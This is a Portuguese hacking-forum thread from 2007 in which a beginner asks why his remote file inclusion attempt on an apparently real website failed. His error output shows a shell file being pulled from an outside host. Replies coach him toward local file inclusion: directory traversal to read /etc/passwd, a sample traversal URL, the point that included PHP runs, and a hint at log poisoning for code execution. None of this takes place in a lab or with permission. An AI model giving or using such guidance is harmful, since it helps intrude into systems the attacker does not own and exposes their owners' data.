Dúvida sobre File inclusion

Iniciado por rmoraes, 29 de Dezembro , 2007, 10:58:44 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

rmoraes

Olá a todos ...

Estou com um problema fiz scan em um site é tem a vulnerabilidade File inclusion
porém quando eu tento injetar a CMD ocorre este erro alguém poderia me dizer o porquê
deste erro abaixo?

CitarWarning: include(pages/http://www.nershess.orgfree.com/darkers.txt?.php) [function.include]: failed to open stream: No such file or directory in /home/baladas2/public_html/novo/uberlandia/index.php on line 35

Warning: include() [function.include]: Failed opening 'pages/http://www.nershess.orgfree.com/darkers.txt?.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/baladas2/public_html/novo/uberlandia/index.php on line 35

Porquê deste erro?  :-\ lembrando que sou inciante.

Vlw !!!

Wuefez

Seguinte pois o cara usou algo como:

include "pages/".$var;  //php
Existem 2 tipos de vulnerabilidades de "File Inclusion", a primeira que no caso é a que você esta tentando se chama Remote File Inclusion (RFI), que te permite incluir arquivos externos, e a segunda é Local File Inclusion, que te permite incluir arquivos que ja estão salvos no proprio servidor.......

Ai você pensa, mas pows aonde isso me é util?

Simples você pode carregar arquivos que normalmente não teria acesso...

Vai subindo dirs e tenta chegar no passwd...

Tipo: http://exemplo.com.br/script.php?bug=.. ... etc/passwd

Mas se o safemode tiver ligado, não vai funcionar direito esse bug, porque ai você so pode abrir arquivos que são do mesmo UID que o PHP ta usando......

./Wuefez


"Quem fala não faz."

branco

tipo rmoraes...oque o wuefez disse está certo, só acrescentando

Warning: include(pages/http://www.nershess.orgfree.com/darkers.txt?.php) [function.include]: failed to open stream: No such file or directory in /home/baladas2/public_html/novo/uberlandia/index.php on line 35

ta vendo ali dentro da função include o (pages/......)

pois é, a função está tentando incluir um arquivo que está dentro da pasta pages/

ou seja, como o wuefez disse, RFI você não vai poder fazer, porém pode descer diretorios fazendo a tecnica chamada "diretorio transversal"

olhe esse erro lhe foi util /home/baladas2/public_html/novo/uberlandia/index.php

nele vc pode verificar que a pasta index está em
/home/baladas2/public_html/novo/uberlandia

lembrando que com ../ você desce um diretório
e que o arquivo de "senhas" ( que nao tem nada de util pra vc ) se encontra em /etc/passwd

então você pode calcular quantos ../ precisará fazer para chegar a esse arquivo.

lembrese ainda que depois de descer todos os diretórios, ainda terá que descer oque está na função include, no caso o "pages/"

gogo, bora estudar e ownar xD

te aconselho a estudar PHP, vai te ajudar bastante brow..

até
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

branco

só corrigindo uma coisa...
eu nao uso muito linux entao nao sei direito mas creio que estou correto.

vc vai abrir os arquivos com o usuário www-data ( apache ) do servidor ( ou com o do PHP ), e o arquivo /etc/passwd tem permissão 755, isso significa que vc poderá ler ele, só não poderá sobreescreve-lo.

do mesmo modo funciona para uma CMD que roda com o www-data, ela não pode sobreescrever os arquivos que tem permissao 755.

lembrando ainda que :
r = 4
w = 2
x = 1

5 = r ( read ) + x ( execuçao )
7 = r + w + x


boa sorte, até
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Mental_Way

hehehehhehe

Wuefez e branco dando aula de ownz...

Muito bom, e como o brnaco disse estude php que isso irá te ajudar bastante a entender  como funcionam as falhas..

;)

Sem +...

Mental_Way
[RitualistaS GrouP]

"Aquele que sabe pouco rapidamente revela isto."

rmoraes

Muito obrigado Branco é Wuefez por responder é tirar as duvidas
saberia por onde posso começar a estudar php algum site que possa
ajuda?

Abraços a todos

branco

Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Cloudy

Sem contar que qualquer arquivo que você colocar no include, se tiver algum código em PHP esse código vai ser interpretado e executado.

...by Cloudy
"You have to be trusted by the people tou lied to, so when they turn their back on you, you have the chance to the put the knife in." (Roger Waters)

...by Cloudy

Zieg

Hm.. uma duvida
Caso eu nao tenha acesso ao \etc\shadow  por causa de permissão, esse lance seria inutil ne?
Ou tem mais alguma coisa que é possivel fazer apenas podendo ler os arquivos do servidor?

Zieg

Opa! Podem ignorar minha pergunta =D ja descobri
o segredo ta em escrever nos logs >;D.....tanta coisa pra descobrir ainda =[